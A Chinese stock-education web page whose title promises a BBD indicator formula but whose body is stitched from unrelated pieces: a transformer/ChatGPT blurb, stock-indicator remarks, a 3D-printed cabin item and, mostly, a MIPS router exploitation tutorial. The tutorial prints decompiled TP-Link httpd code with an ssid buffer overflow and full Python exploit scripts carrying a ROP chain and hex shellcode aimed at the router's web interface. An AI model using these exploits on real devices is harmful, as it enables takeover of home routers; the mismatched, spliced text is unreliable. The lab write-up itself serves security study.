股票学习网

股票入门基础知识和炒股入门知识 - - 股票学习网!

BBD指标公式源码(BBD指标不准确)

2023-07-18 18:12分类:BOLL 阅读:

◎来源|智能化学习与思考

输入几个简单的关键词,AI能帮你生成一篇短篇小说甚至是专业论文。最近大火的ChatGPT在邮件撰写、文本翻译、代码编写等任务上强大表现,让埃隆·马斯克都声称感受到了AI的“危险”。ChatGPT的计算逻辑来自于一个名为transformer的算法,它来源于2017年的一篇科研论文《Attention is all your need》。原本这篇论文是聚焦在自然语言处理领域,但由于其出色的解释性和计算性能开始广泛地使用在AI各个领域,成为最近几年最流行的AI算法模型,无论是这篇论文还是transformer模型,都是当今AI科技发展的一个缩影。以此为前提,本文分析了这篇论文的核心要点和主要创新初衷。

Qemu System模式运行

[26]Stack Overflow:https://stackoverflow.com/questions/37112218/css3-100vh-not-constant-in-mobile-browser

在使用该指标时,需要注意多空趋势决策反映的只是大盘的多空双方力量,以及体现的是哪个资金流入哪个行业哪个板块,并不是体现个股的买卖力道。投资者在分析股票投资时,可以根据资金流入板块流入行业数据,然后通过对基本面和技术面分析的结果相结合来看,从中挑选一个合适的股票买入。

•国家网信办[11]的最新规定:(1)人工智能生成的非真实视频音频,必须显著标识。(2)人工智能不得生成非真实新闻。

(以上内容仅供参考,不构成操作建议。如自行操作,注意仓位控制和风险自负。)

一家美国创业公司推出 3D 打印的森林小屋,全部使用玄武岩和生物聚合物打印而成,整个过程由机器完成,不需要工人现场施工。这个小屋是为了火星移民而设计的,因为玄武岩砂土是火星表面的主要材料。屋内的器具也可以用这种方式打印出来。

/usr/bin/httpd

进入menuconfig之后,选择目标架构Mips32(需要注意mips包含大端mips和小端mipsel)。配置结束之后使用make编译工具链即可。

编译第一个mips程序

$ mips-linux-gnu-gcc vuln.c -o vuln -static $ file vuln vuln: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a940ead4f05cbe960bbd685229c01695ef7cea38, not stripped

vmlinux内核文件和debian镜像(建议挂代理,否则很慢),建议使用3.2版本内核,老版本内核在gdbserver远程调试时会出现一些问题。并且请注意你下载的是mips还是mipsel版本。

#wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2

$ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:0c:29:ee:39:39 -net tap -nographic

测试固件版本::DIR-605L A1 FW v1.13 下载地址

首先用binwalk解包官网下载的固件DIR605LA1_FW113b06.bin

默认链接库名为libc.so.6,所以我们这里尝试去复制uclibc的libc.so.0,再次运行,发现hook成功了。当然我发现使用LD_PRELOAD=”libc.so.0”参数也可以解决问题。这里大家可以举一反三一下,思考如何将动态链接的mips elf(我们之前都是编译的静态链接程序)通过qemu的user mode运行起来?

$ qemu-mipsel -g 9000 vuln $ gdb-multiarch -q (gdb) target remote 127.0.0.1:9000

命令格式用途lwlw R1, 0(R2)从存储器中读取一个word存储(Load)到register中swsw R1, 0(R2)把一个word从register中存储(store)到存储器中addiuaddiu R1,R2,#3将一个立即数#3加上R2内容之后存放到目标地址R1oror R1,R2,R3两个寄存器内容相或jalrjalr R1使用寄存器的跳转指令

 

MIPS和MIPSEL是两种架构MIPS是大端序、MIPSEL是小端序。一般来说大端序列是主流的(和x86和arm相反),不过很多CTF题目都是小端序的。(大端调试需要在gdb和pwntools都特别设置,否则默认小端)

不支持NX(即使编译选项添加了也没有用)不支持NX即函数的栈/bss都是可执行的,当我们的写入栈中的shellcode能够被执行,大大降低了利用难度。

叶子函数和非叶子函数在MIPS体系架构下,函数分为叶子函数和非叶子函数。MIPS函数的调用过程与x86不同,x86中函数A调用函数B时,会将A函数的地址压入堆栈中,等到函数B执行完毕返回A函数时候,再从堆栈中弹出函数A的地址。而MIPS中,如果是叶子函数,与x86是不同的,函数的返回地址是不会压入栈中的,而是会直接存入寄存器$ra中。如果是非叶子函数(即函数中还调用了其他函数),则和x86类似,将地址存入栈中。另外Mips是没有栈底指针的,只有一个$sp指向栈顶,并且不会像x86那样通过pop或者push调整指针,而是采用偏移寻址来访问变量。非叶子函数如图所示,在函数头部会将调用函数的返回地址即$ra存放在栈底(偏移4字节),而在函数快结束时会重新将该值取去出来,放入ra。在这个间段内,如果覆盖了函数栈底,就能够控制程序的流程。 而在叶子函数如下图所示,从函数被调用开始到函数jr ra返回调用函数,数据一直都在$ra寄存器中,所以理论上是无法利用的。但是如果缓冲区溢出的足够多,足够越过本函数的栈底,直到覆盖到调用函数的栈底,那么也是能够利用的。

内存中的数据访问(store/load)必须严格对齐(至少4字节)

流水线效应:本应顺序执行的几条指令同时执行,只不过处于不同的执行阶段(一般指令执行阶段包括:取指、间指、执行、中断)如下图所示,参考二次重叠执行方式,第一条指令在执行时候,第二条指令在分析,第三条指令在取指。举个栗子,流水线会在跳转指令(jal)导致分支延迟效应,任何一个分支跳转语句后面的那条语句叫做分支延迟槽。当它刚把要跳转到的地址填充好还没完成本条指令时,分支语句后面的那个指令(第三条指令)就执行了。所以下面strrchr函数的参数($a0)实际上来自于$0 而不是来自于$2。这是在看Mips汇编的时候需要注意的。mov $a0,$s2 jalr strrchr //arg $a0 mov $a0,$s0

缓存不一致性(cache incoherency):指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用Sleep来让shellcode从数据Cache刷新到指令Cache,否则会执行失败,不能像x86架构下直接跳转到shellcode,而是需要构造一条ROP链接,先调用sleep,然后在跳转到shellcode。

 

$ qemu-mipsel -g 9000 vuln $ gdb-multiarch -q (gdb) target remote 127.0.0.1:9000

对has_stack函数下断点。首先查看strcpy的两个参数,首先是strcpy的src,lw a1,56(s8)即从s8寄存器(实际上值和sp是相同的,都是指向栈顶)数据偏移56(+56)的数据写入寄存器a1,即通过s8+56偏移可以获得地址0x76fff2c7,这个地址即存放我输入的aaaa数据。然后我们来看dest,即发生写入的地址,这个参数默认被放在a0里,即s8偏移24位。这样我们就能够计算需要多少数据能覆盖缓冲区了。

binwalk -Me TL-WR841N_V10_150310.zip cd _TL-WR841N_V10_150310.zip.extracted/_wr841nv10_wr841ndv10_en_3_16_9_up_boot\(150310\).bin.extracted/squashfs-root/

首先我们需要桥接qemu,使得我们能够传输我们的文件系统squashfs-root到虚拟机中。这部分比较麻烦而且容易忘记,所以记录一下。启动系统用下面的命令就可以了(这个固件是32位的,请不要用64位qemu运行)。如果启动不起来或者很慢,重新下一下qcow2,可能之前的某些操作把镜像弄坏了。

sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-2.6.32-5-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic #更换内核(wget https://people.debian.org/\~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta) sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-3.2.0-4-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic 映射端口 -redir tcp:80::8080

1.配置桥接网卡

#!/bin/sh echo "Executing /etc/qemu-ifup" echo "Bringing up $1 for bridged mode..." sudo /sbin/ifconfig $1 0.0.0.0 promisc up echo "Adding $1 to br0..." sudo /sbin/brctl addif br0 $1 #sudo ifconfig br0 10.211.55.6/24 sleep 3

2.配置桥接网卡的地址

接着让我们设置桥接的地址。比如我目前宿主机(运行在parralell下)的地址是10.211.55.5,所以我使用命令 ifconfig br0 10.211.55.6/24 up 修改桥接网卡(或者在etc/qemu-ifup中加上sudo ifconfig br0 10.211.55.6/24 ,这样只要qemu开启就会自动设置br0)。

然后我们在qemu中也用ifconfig设置ip为10.211.55.7/24,这样宿主机和qemu就能够相互ping通了。(只要在同一网段即可)

#在虚拟机内部 ifconfig eth0 10.211.55.7/24 up #在虚拟机外部(设置桥接) ifconfig br0 10.211.55.6/24 up

root@debian-mips:~# ifconfig eth0 10.211.55.7/24 up root@debian-mips:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:ee:39:39 inet addr:10.211.55.6 Bcast:10.211.55.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:feee:3939/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:2862 (2.7 KiB) Interrupt:10 Base address:0x1020 #将文件系统传入qemu虚拟机 scp -r squashfs-root/ root@10.211.55.7:~/

sshpass -p root scp -r squashfs-root/ root@10.211.55.7:~/

# 挂载文件系统 $ mount --bind /proc squashfs-root/proc # 更换root目录 $ cd squashfs-root/ $ chroot . bin/sh $ LD_PRELOAD="/hook" /usr/bin/httpd $ /usr/bin/httpd: can't load library 'libc.so.6' $ ln -s libc.so.0 libc.so.6 $ LD_PRELOAD="/hook" /usr/bin/httpd #gdb调试 export LD_PRELOAD="/hook" #./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd #这个版本的gdb挂起有点问题 ./gdbserver.mipsbe 0.0.0.0:2333 /usr/bin/httpd

 

设置桥接之后主机无法联网的问题初始化网桥时候将dns给删了,添加一下dns即可。修改文件 /etc/resolvconf/resolv.conf.d/basenameserver 8.8.8.8 nameserver 8.8.4.4 执行更新resolvconf -u

ssh或者scp报错Unable to negotiate with 10.211.55.8 port 22: no matching host key type found. Their offer: ssh-dss添加参数-oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1,比如:$ ssh -oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1 $ sshpass -p root scp -oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1 gdbserver-7.12-mips-be :~/

 

scp r gdbserver.mipsbe root@10.211.55.7:~/squashfs-root/

宿主机的gdb通过remote target进行远程调试。如果报错Remote replied unexpectedly to 'vMustReplyEmpty': timeout。需要将内核版本从vmlinux-2.6.32-5-4kc-malta更换为vmlinux-3.2.0-4-4kc-malta

当然,还有一个最有趣,并且直接导致漏洞的是,生成</br>的时候,写入了4个字节的数字,但是记录长度的iVar3变量却只加了1,导致理论上我们能够输入len长度4倍大数据,这样能够直接对任何调用stringModify的函数产生缓冲区溢出。

void writePageParamSet(undefined4 param_1,char *param_2,int *param_3) { int iVar1; undefined *puVar2; undefined local_210 [512]; if (param_3 == (int *)0x0) { HTTP_DEBUG_PRINT("basicWeb/httpWebV3Common.c:178","Never Write NULL to page, %s, %d", "writePageParamSet",0xb2); } iVar1 = strcmp(param_2,"\"%s\","); //判断匹配字符串 if (iVar1 == 0) { iVar1 = stringModify(local_210,0x200,param_3); //调用stringModify if (iVar1 < 0) { printf("string modify error!"); local_210[0] = 0; } puVar2 = local_210; } else { iVar1 = strcmp(param_2,"%d,"); if (iVar1 != 0) { return; } puVar2 = (undefined *)*param_3; } httpPrintf(param_1,param_2,puVar2); return; }

经过审计,我们发现通过ssid参数,我们可以写入超量的数据而不会被限制,当然,距离ret地址还是有一些远的,在调用writePageParamSet(param_1,&DAT_00544d38,acStack3460,0);会调用stringModify。将这个超量的数据写入writePageParamSet栈中的512字节的buffer,造成缓冲区溢出。另外,需要注意的是我们还需要设置其他几个参数,因为这几个参数在ssid(acStack3460)的缓冲区下面,如果设置为默认值0x1则会产生\x00而截断我们的超长数据。

int UndefinedFunction_0045fa94(undefined4 param_1) { ... char acStack3460 [36]; //创建36字节的buffer ... memset(acStack3460,0,0x44); uStack3612 = 0; pcVar9 = (char *)httpGetEnv(param_1,"ssid");//从http请求头中取出ssid if (pcVar9 == (char *)0x0) { acStack3460[0] = '\0'; } else { __n = strlen(pcVar9);/*将ssid的数据写入buffer中*/ strncpy(acStack3460,pcVar9,__n);//BufferOverflow } //顺便审计一下剩下的代码有没有漏洞 pcVar9 = (char *)httpGetEnv(param_1,"curRegion"); if (pcVar9 == (char *)0x0) { uStack3424 = 0x11; } else { uStack3612 = atoi(pcVar9); if (uStack3612 < 0x6c) { uStack3424 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"channel"); if (pcVar9 == (char *)0x0) { uStack3420 = 6; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 0xf) { uStack3420 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"chanWidth"); if (pcVar9 == (char *)0x0) { uStack3416 = 2; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 3) { uStack3416 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"mode"); if (pcVar9 == (char *)0x0) { uStack3412 = 1; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 8) { uStack3412 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548138); if (pcVar9 != (char *)0x0) { iVar1 = strcmp(pcVar9,"true"); if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) { uStack3408 = 1; } else { uStack3408 = 0; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_0054813c); if (pcVar9 != (char *)0x0) { iVar1 = strcmp(pcVar9,"true"); if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) { uStack3404 = 1; } else { uStack3404 = 0; } } pcVar9 = (char *)httpGetEnv(param_1,"select"); if (pcVar9 != (char *)0x0) { iVar1 = strcmp(pcVar9,"true"); if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) { uStack3400 = 1; } else { uStack3400 = 0; } } pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548140); if (pcVar9 != (char *)0x0) { iStack3396 = atoi(pcVar9); } httpPrintf(param_1, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n", "pagePara"); writePageParamSet(param_1,&DAT_00544d38,acStack3460,0); writePageParamSet(param_1,"%d,",&uStack3424,1); writePageParamSet(param_1,"%d,",&uStack3420,2); writePageParamSet(param_1,"%d,",&uStack3416,3); writePageParamSet(param_1,"%d,",&uStack3412,4); writePageParamSet(param_1,"%d,",&uStack3408,5); writePageParamSet(param_1,"%d,",&uStack3404,6); writePageParamSet(param_1,"%d,",&uStack3400,7); writePageParamSet(param_1,"%d,",&iStack3396,8); httpPrintf(param_1,"0,0 );\n</SCRIPT>\n"); httpPrintf(param_1,"<script language=JavaScript>\nvar isInScanning = 0;\n</script>"); if ((auStack3600[0] < 9) && ((1 << (auStack3600[0] & 0x1f) & 0x1c8U) != 0)) { HttpWebV4Head(param_1,0,0); pcVar9 = "/userRpm/popupSiteSurveyRpm_AP.htm"; } else { HttpWebV4Head(param_1,0,1); pcVar9 = "/userRpm/popupSiteSurveyRpm.htm"; } } iVar1 = httpRpmFsA(param_1,pcVar9); if (iVar1 == 2) { return 2; } sVar10 = HttpErrorPage(param_1,10,0,0); LAB_0045fa54: return (int)sVar10; }

curl -H 'Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D' 'http://10.211.55.8/YEHFDFSAMIIOATRA/userRpm/popupSiteSurveyRpm_AP.htm?mode=1000&curRegion=1000&chanWidth=100&channel=1000&ssid='$(python -c 'print( "/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac")')''

很明显缓冲区溢出发生在函数writePageParamSet,并且在其返回的时候劫持了函数执行流。最后lw了四个寄存器ra,s2,s1,s1,s0,通过这个可以辅助判断我们发生溢出的大概位置。执行之后sp会加0x288,当然这条指令是在跳转之前执行的,因为指令流水线。

import requests import socket import socks import urllib default_socket = socket.socket socket.socket = socks.socksocket session = requests.Session() session.verify = False def exp(path,cookie): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))} payload="/%0A"*0x55 + "abcdefghijklmn"+"\x78\x56\x34\x12" params = { "mode":"1000", "curRegion":"1000", "chanWidth":"100", "channel":"1000", "ssid":urllib.request.unquote(payload) #if python3 #urllib.unquote(payload) #if python2 (suggest) } url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text) exp("AYEUYUFAXVOKELRC","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D") 漏洞利用

接下来让我们为这个漏洞编写一下利用脚本,语言我们使用python2.7。

经过上文的分析,我们知道我们能够布置栈,来控制s0~s2和ra寄存器。初始我们将ra覆盖为gadget1,用于修改寄存器$a0,将sleep函数的地址放在s2备用,将gadgets放在s1用于下一次跳转。另外,使用gadgets需要考虑流水线效应。

Gadget1,修改寄存器$a0(作为调用sleep的参数)

Gadget2,完成两个功能,1.调用sleep函数,2.跳转到下一个gadgets。首先调用sleep函数(之前存放在s2中),并且结束之后sp会增加0x28字节。在结束之前也会修改ra等寄存器的值,不过这里需要注意的是0x28+var_10($sp)的意思是sp+0x28-0x10地址。(Mips是通过偏移来获得栈内参数的),这里也要先设置好ra的值。调用sleep之后,程序会跳转到ra指向的地址。

LOAD:00037470 move $t9, $s2 LOAD:00037474 lw $ra, 0x28+var_4($sp) LOAD:00037478 lw $s2, 0x28+var_8($sp) LOAD:0003747C lw $s1, 0x28+var_C($sp) LOAD:00037480 lw $s0, 0x28+var_10($sp) LOAD:00037484 LOAD:00037484 loc_37484: # DATA XREF: xdr_callhdr↓o LOAD:00037484 jr $t9 ; xdr_opaque_auth LOAD:00037488 addiu $sp, 0x28 #其实这段代码用gdb的反汇编看起来反而更加易懂一些 => 0x77f70470: move t9,s2 0x77f70474: lw ra,36(sp) 0x77f70478: lw s2,32(sp) 0x77f7047c: lw s1,28(sp) 0x77f70480: lw s0,24(sp) 0x77f70484: jr t9 0x77f70488: addiu sp,sp,40

Gadget3,用于将栈底地址写入a1,即我们布置的shellcode的地址。

Gadget4,跳转到shellcode

#!/usr/bin/python from pwn import * import requests import socket import socks import urllib import struct default_socket = socket.socket socket.socket = socks.socksocket session = requests.Session() session.verify = False context.endian = 'big' libc_base=0x77f39000 sleep =0x53CA0 #end 00053ECC #gadgets g1=0x000E204 #0x77F47204 #LOAD:0000E204 move $t9, $s1 #LOAD:0000E208 jalr $t9 ; sysconf #LOAD:0000E20C li $a0, 3 g2=0x00037470 #LOAD:00037470 move $t9, $s2 #LOAD:00037474 lw $ra, 0x28+var_4($sp) #LOAD:00037478 lw $s2, 0x28+var_8($sp) #LOAD:0003747C lw $s1, 0x28+var_C($sp) #LOAD:00037480 lw $s0, 0x28+var_10($sp) #LOAD:00037484 #LOAD:00037484 loc_37484: #LOAD:00037484 jr $t9 ; xdr_opaque_auth #LOAD:00037488 addiu $sp, 0x28 g3=0x0000E904 #0x77f47904 #LOAD:0000E904 addiu $a1, $sp, 0x168+var_150 #LOAD:0000E908 move $t9, $s1 #LOAD:0000E90C jalr $t9 ; stat64 #LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000) g4=0x00374D8 #LOAD:000374D8 move $t9, $a1 #LOAD:000374DC sw $v0, 0x4C($a0) #LOAD:000374E0 move $a1, $a2 #LOAD:000374E4 jr $t9 #LOAD:000374E8 addiu $a0, 0x4C # 'L' shellcode="\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff" shellcode+="\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff" shellcode+="\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4" shellcode+="\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd" shellcode+="\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef" shellcode+="\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff" shellcode+="\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff" shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27" shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2" shellcode+="\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff" shellcode+="\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c" s0=p32(0x11111111) s1=p32(g2+libc_base) # break s2=p32(sleep+libc_base) payload= "/%0A"*0x55 +2*'x'+s0 +s1 +s2 payload+=p32(g1+libc_base) payload+='x'*28 payload+=p32(g4+libc_base) #s1 payload+=p32(0x33333333) #s2 payload+=p32(g3+libc_base) #ra payload+='x'*24 payload+=shellcode def exp(path,cookie): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))} params = { "mode":"1000", "curRegion":"1000", "chanWidth":"100", "channel":"1000", "ssid":urllib.unquote(payload) } url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text) exp("FMHSNOEAAJAKZBNA","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

https://ktln2.org/2020/03/29/exploiting-mips-router/

https://bbs.pediy.com/thread-212369.htm

https://www.haobaihe.com

上一篇:二胎概念股票龙头股(二胎概念股排行)

下一篇:ST国恒退(st国恒借壳价格)

相关推荐

返回顶部